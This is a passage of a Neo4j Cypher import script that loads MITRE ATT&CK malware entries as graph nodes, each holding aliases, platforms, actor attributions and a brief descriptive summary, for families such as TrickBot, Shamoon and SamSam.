UNWIND [{_id:7899, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:34.648Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ADVSTORESHELL\",\"AZZY\",\"EVILTOSS\",\"NETUI\",\"Sedreco\"],\"x_mitre_version\":\"1.0\"}", description:"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ADVSTORESHELL", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", external_references:["6491a0a5-10a5-4efb-88a4-3bbd41218328", "2b9d0f1c-3a39-4b51-b2d2-5636efe28864", "7298e187-c62f-42d7-a69d-3d0fd7ab71f3"]}}, {_id:10729, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:12.858Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Remsec\",\"Backdoor.Remsec\",\"ProjectSauron\"],\"x_mitre_version\":\"1.0\"}", description:"[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Remsec", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", external_references:["f42aadbe-0aef-466e-9477-39b70906c921", "d5c81e6e-95b1-45d4-b3ff-152ec51d952d", "a400dfb5-588f-4c1d-a5bf-5f2bc2e90649", "a1286b63-12f7-41eb-81e1-68052c8ea146"]}}, {_id:10734, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-05-02T01:07:36.780Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Revenge RAT\"]}", description:"[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Revenge RAT", modified:"2019-10-08T13:40:44.008Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", external_references:["fac3e5ad-4f64-4a98-9d24-12d68b82a52b", "c1af4e5b-01dd-4864-a163-e7c6febd7fb2", "470ebf32-f1bd-4daf-bcda-55c8fe002d32"]}}, {_id:10738, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-07-29T14:27:18.204Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"RobbinHood\"]}", description:"[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RobbinHood", modified:"2019-07-29T15:46:14.570Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0a607c53-df52-45da-a75d-0e53df4dad5f", external_references:["405a8d07-6934-499c-942c-befdd735bc2d", "56c141cf-fc6d-45ba-82f9-915d535aae17", "f0acde3f-b6ae-47f7-9615-e372795e12ca"]}}, {_id:10742, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"2.0\",\"x_mitre_aliases\":[\"RogueRobin\"]}", description:"[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RogueRobin", modified:"2019-04-24T23:55:43.081Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", external_references:["b2c33d64-e109-4cbf-9f70-361dbf6f8df7", "600e8cf5-8451-4a06-a709-856c03b3cf09", "2560fb14-a7a9-475e-9fec-14eae25c204c", "687843de-d4d5-46e0-86fc-6b43ad73c7b0"]}}, {_id:10747, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:58.226Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Rover\"],\"x_mitre_version\":\"1.0\"}", description:"[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Rover", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", external_references:["49d7d752-63ea-419d-85fa-fdc294bcc6de", "2bdbfbc7-4209-429e-99d0-8f03656ce6c6"]}}, {_id:10750, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"RunningRAT\"],\"x_mitre_version\":\"1.0\"}", description:"[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"RunningRAT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--60d50676-459a-47dd-92e9-a827a9fe9c58", external_references:["fc7b63c5-22b6-40a0-9146-7631269f2b05", "3490c0e7-23d7-4aa2-9d1a-fe601de72ff5", "597d6105-7ae2-46d2-99b2-85495c2114aa"]}}, {_id:10754, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:55.925Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"S-Type\"],\"x_mitre_version\":\"1.0\"}", description:"[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"S-Type", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", external_references:["9e6222d0-3894-4e07-be57-cb67f657ad9c", "1221c54b-742e-4015-8354-c93ab0d26eef"]}}, {_id:10757, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"SEASHARPEE\"],\"x_mitre_version\":\"1.0\"}", description:"[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SEASHARPEE", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0998045d-f96e-4284-95ce-3c8219707486", external_references:["2142fecd-2d36-4768-a521-2e46f3abcc1e", "a74c1e5a-307b-4845-805b-85809a06976b", "ed10b7b6-8788-42ee-aa1d-27f90ce2548e"]}}, {_id:10764, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:42.754Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"SHOTPUT\",\"Backdoor.APT.CookieCutter\",\"Pirpi\"],\"x_mitre_version\":\"1.0\"}", description:"[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SHOTPUT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--58adaaa8-f1e8-4606-9a08-422e568461eb", external_references:["f43edddb-0992-466c-a093-e1a643eec59d", "4b797578-5cd0-4000-86cf-320611841f92", "169020f8-5f0f-4a79-a433-21530236817a", "7c1f5acf-e0fe-400f-b46f-c3e2683e3657", "32ae76a8-5c27-499c-a83b-137bf76a9a70"]}}, {_id:10796, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-15T19:40:07.664Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"SamSam\",\"Samas\"]}", description:"[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SamSam", modified:"2019-04-18T20:59:56.853Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", external_references:["889e5348-849f-4450-b0fb-6f47fad60032", "3b6d5dbd-f6be-4fae-ba98-0e29e4d32fb6", "ec9dad97-6fbd-491c-bfb1-56eb25806403", "caa1e318-e319-4fd0-b350-27046ba5ca3b", "1f6b79a1-723b-4fdd-8f3b-9137abe6af5d", "44d988f0-202c-45c1-a8fd-6944c1e311ea"]}}, {_id:10803, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:37.767Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"SeaDuke\",\"SeaDaddy\",\"SeaDesk\"],\"x_mitre_version\":\"1.0\"}", description:"[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SeaDuke", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", external_references:["af1e1cff-f2f5-43f2-8a10-dae4b33e9dd5", "96a9248a-513b-4725-b618-9e519b51926d"]}}, {_id:10806, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T15:27:06.404Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Seasalt\"]}", description:"[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Seasalt", modified:"2019-02-12T21:28:19.201Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b45747dc-87ca-4597-a245-7e16a61bc491", external_references:["3fa04712-5a1a-472d-b9de-7d24311690b3", "e68159bd-143c-4943-abff-a20ff86a4d88", "33e0a5aa-e901-4c3d-b7d0-6c492542f473", "f739097b-290c-48d4-9a8c-21da99c5d54e"]}}, {_id:10814, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:20.223Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Shamoon\",\"Disttrack\"],\"x_mitre_version\":\"2.0\"}", description:"[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Shamoon", modified:"2019-04-24T23:59:16.008Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", external_references:["a1f77a6e-12da-4ce3-a6a7-327fe752b63f", "ed992159-3eda-4491-887a-139b71992aa2", "030c5f7d-4397-430b-90c1-421439c321ae", "561c32d9-ef64-4a6e-a34e-91b8d94f9037", "626209d5-a314-4495-9049-d1429136d505", "08179356-13b8-4ef6-b17b-edd1a4d951f5"]}}, {_id:10824, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Smoke Loader\",\"Dofoil\"],\"x_mitre_version\":\"1.1\"}", description:"[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Smoke Loader", modified:"2019-06-24T19:07:12.385Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", external_references:["3d71e909-efae-4e2a-b136-4d40be1b82b8", "10313a29-cfa4-4e4b-908a-1aad81c95b6b", "c244e3f2-20dd-41fc-b5b9-0f43261ba8ac", "1d6ff473-7cb1-4faf-a265-d5145f1dec5c", "a704afb4-70cc-4404-b4e7-ce3841626d6f"]}}, {_id:10837, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:39.606Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"SslMM\"],\"x_mitre_version\":\"1.0\"}", description:"[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SslMM", modified:"2019-04-25T02:48:47.401Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", external_references:["2b294970-bc34-489e-b5f0-b3002e68cf8f", "ae52ddff-dacb-449f-9967-cfb50fe62dcb"]}}, {_id:10840, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Starloader\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Alan Neville, @abnev\"]}", description:"[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Starloader", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--96566860-9f11-4b6f-964d-1c924e4f24a4", external_references:["95cf0493-ba2d-4669-8c8d-7e10e50b4d44", "1d573afa-ac1c-46ae-ad30-952ba06ab0b6", "e512a2a8-91f0-4bb8-b5e4-4d4436c353a0"]}}, {_id:10854, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:17.568Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Sykipot\"],\"x_mitre_version\":\"1.0\"}", description:"[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Sykipot", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", external_references:["a47acf39-ee6c-4de3-8c46-0b8fb12f80f4", "786d04b5-8a05-4fdc-b0ad-6c4fa785fefc", "49bf41ad-8136-4ff8-a385-dcdb930d0706"]}}, {_id:10858, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"SynAck\"],\"x_mitre_version\":\"1.1\"}", description:"[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"SynAck", modified:"2019-07-26T23:00:55.880Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--04227b24-7817-4de1-9050-b7b1b57f5866", external_references:["85764827-ebcc-4cd7-baaf-f5e376f67e92", "bab29743-1f5f-4a71-9a87-404f0cdbddee", "02af6b8a-b094-4ba4-93d2-434f31b85719", "77d7aea0-d405-4ea9-a26d-06308f975ac6"]}}, {_id:10870, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"TDTESS\"],\"x_mitre_version\":\"1.0\"}", description:"[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"TDTESS", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", external_references:["40d0711b-a58c-4826-a9ee-41df54aad987", "bed2a5ad-bedd-4dba-8057-2972c10c0552", "5b727d21-22b3-4fe9-b1d0-ae010af5526b"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:10895, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:12.310Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"TinyZBot\"],\"x_mitre_version\":\"1.0\"}", description:"[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"TinyZBot", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", external_references:["a44e6e71-77ca-4b58-949f-03d71f01602f", "483e5952-9b07-424a-9229-e7892f3d5559"]}}, {_id:10898, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"TrickBot\",\"Totbrick\",\"TSPY_TRICKLOAD\"],\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Omkar Gudhate\",\"FS-ISAC\"]}", description:"[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"TrickBot", modified:"2019-06-24T19:15:06.150Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--00806466-754d-44ea-ad6f-0caf59cb8556", external_references:["d0dbe53d-4dd8-4772-998e-514e05f92d2f", "6d5c44f0-1576-4337-a722-57e0be45ac23", "4bd760b0-0812-4ab3-9f42-9fb553514af0", "9a0b173e-343c-45fc-91be-77b98fa58dd1", "eeabc2b2-45af-4332-ba33-60051034b53e", "bf6612c1-06da-45bf-a4ae-4f2d4844d95e", "8862b806-bb2a-439b-9bf6-92a69c178f84", "cf19e790-2bb3-419b-af2e-0b0aeea3e78c", "b2123b41-da81-4203-a4d4-28c2e046adbe", "d4643592-ca2a-489d-af42-efe861e4303d"]}}, {_id:10915, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Truvasys\"],\"x_mitre_version\":\"1.0\"}", description:"[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Truvasys", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", external_references:["13ac94a9-a586-4e50-a1c5-3abde3de186b", "ceb9cb9c-ecd4-4fb6-9911-625b5913cf08", "3154829d-a68a-4cc4-a363-c637a83d9943", "e8516afb-f132-4071-bfe0-211f6ce99dfa", "148603dd-317a-48a1-96fc-9eaef3a3ced4"]}}, {_id:10934, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:17.716Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"USBStealer\",\"USB Stealer\",\"Win32/USBStealer\"],\"x_mitre_version\":\"1.0\"}", description:"[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"USBStealer", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", external_references:["f1a0c06a-4855-44d1-9534-eee96231034f", "bd04546f-370e-4a6c-abbe-f2ec1fec6f87", "478b3d15-8942-4585-a71c-702d22c5d0b6"]}}, {_id:10942, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:15.020Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Unknown Logger\"],\"x_mitre_version\":\"1.0\"}", description:"[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Unknown Logger", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", external_references:["f2cdd71a-f995-46c7-b0e8-9dc7bc2645a7", "e7e9ffc5-e1f4-4540-956f-b6562932caf5"]}}, {_id:10949, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-04T18:42:22.552Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"Ursnif\",\"Gozi-ISFB\",\"PE_URSNIF\",\"Dreambot\"]}", description:"[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Ursnif", modified:"2019-10-15T17:41:21.696Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", external_references:["54e72d7d-a13f-4e6c-8a41-d781b90be9d7", "7bf82061-550b-4568-a1fe-e0e4c45881ff", "b08b4034-59d5-44b0-b231-dfadd6cac9d7", "6ed04300-1f5f-4c7e-8e79-4719f22fb4b1", "3d236080-2cc7-4a81-8580-87d0622c1ff5", "8a75e78d-4461-4566-a828-139fe0559f38", "315c5c36-26fd-41de-8fe3-002795cfd9ef", "5f7f0d6d-3808-44a5-9afe-a5226221c2c1", "1444d88b-e943-4638-af67-6a33b30ec013"]}}, {_id:10959, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"VERMIN\"],\"x_mitre_version\":\"1.0\"}", description:"[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"VERMIN", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", external_references:["09be1ba5-9997-47f1-9ebb-fb38cf0e881b", "9deb9b8a-a2fe-424a-85f7-e5d9a0fb26d6", "53fe15e5-41a0-4c3a-95ce-4e2cfbdb56df"]}}, {_id:10968, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", 